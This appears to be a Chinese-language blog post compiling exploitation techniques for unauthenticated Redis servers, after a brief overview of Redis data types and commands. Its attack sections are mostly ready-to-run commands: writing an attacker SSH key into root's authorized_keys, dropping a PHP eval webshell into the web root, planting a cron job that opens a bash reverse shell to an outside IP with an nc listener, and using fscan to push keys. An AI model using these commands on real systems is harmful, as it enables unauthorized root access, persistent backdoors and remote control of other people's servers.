【Redis】漏洞利用整合


Redis

Redis是一个内存数据结构存储器,通常用作数据库、缓存和消息代理。Redis中,数据是通过键值对的形式存储的。每个键都是一个字符串,而值可以是以下几种数据类型之一:

  1. 字符串(String):字符串是最基本的数据类型,可以存储任意二进制数据,如文本、图片、JSON等。
  2. 哈希(Hash):哈希存储的是字段(field)和值(value)的映射关系。哈希适用于存储对象,每个对象可以有多个字段。
  3. 列表(List):列表是一个按照插入顺序排序的字符串元素集合。列表可以从两端进行插入和删除操作,常用于实现队列、栈、排行榜等功能。
  4. 集合(Set):集合是一组无序、唯一且不重复的字符串元素的集合。可以对集合进行交集、并集、差集等操作,还可以快速判断元素是否存在于集合中。
  5. 有序集合(Sorted Set):有序集合是一组唯一且不重复的元素的有序集合,每个元素都与一个分数相关联。有序集合可以根据分数进行范围查询和排名。

Redis命令操作

1.设置键值对:

SET key value     // 设置键key的值为value
GET key           // 获取键key的值
 

2.列表操作:

LPUSH key value    // 在列表key的左侧插入元素value
RPUSH key value    // 在列表key的右侧插入元素value
LPOP key           // 移除并返回列表key的左侧第一个元素
RPOP key           // 移除并返回列表key的右侧第一个元素

3.集合操作:

SADD key member     // 将元素member添加到集合key中
SMEMBERS key        // 获取集合key中的所有元素
SREM key member     // 从集合key中移除元素member
 

一、Redis 未授权漏洞

Redis采用默认配置,不会有密码认证和限制命令,这个问题导致了Redis未授权访问漏洞。
可以使用

redis-cli -h 服务器ip

二、SSH公钥写入

生成ssh公钥和私钥后将公钥上传到redis服务器里面,通过私钥文件连接。
更改redis备份路径为/root/.ssh,并修改上传公钥文件的名称为 authorized_keys

config set dbfilename authorized_keys
set x "\n\n\nssh-rsa ...公钥...\n\n\n"
save

\ssh -i id_rsa root@ip

三、一句话

config set dir /var/www/html/   // 必须知道网站目录
config set  dbfilename shell.php 
set x "<?php eval($_POST['cmd']);?>" 
或者:
set shell "\r\n\r\n<?php @eval($_POST['cmd']);?>\r\n\r\n"
save
exit

四、反弹shell


nc -lvnp 4444
redis-cli -h ip  #登陆到redis数据库
set  xx   "\n* * * * * bash -i >& /dev/tcp/192.168.112.128/4444 0>&1\n"
config set dir /var/spool/cron  #设置工作目录
config set dbfilename root      #设置文件名,当前用户叫啥就得命名为啥,当前用户为root
save                            #保存
exit

五、fscan内网穿透

写入ssh公钥

./fscan_amd64  -h ip  -np  -nopoc -no -rf  id_rsa.pub   -m redis

ssh链接

ssh  -i  id_rsa  root@ip
  • 5
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值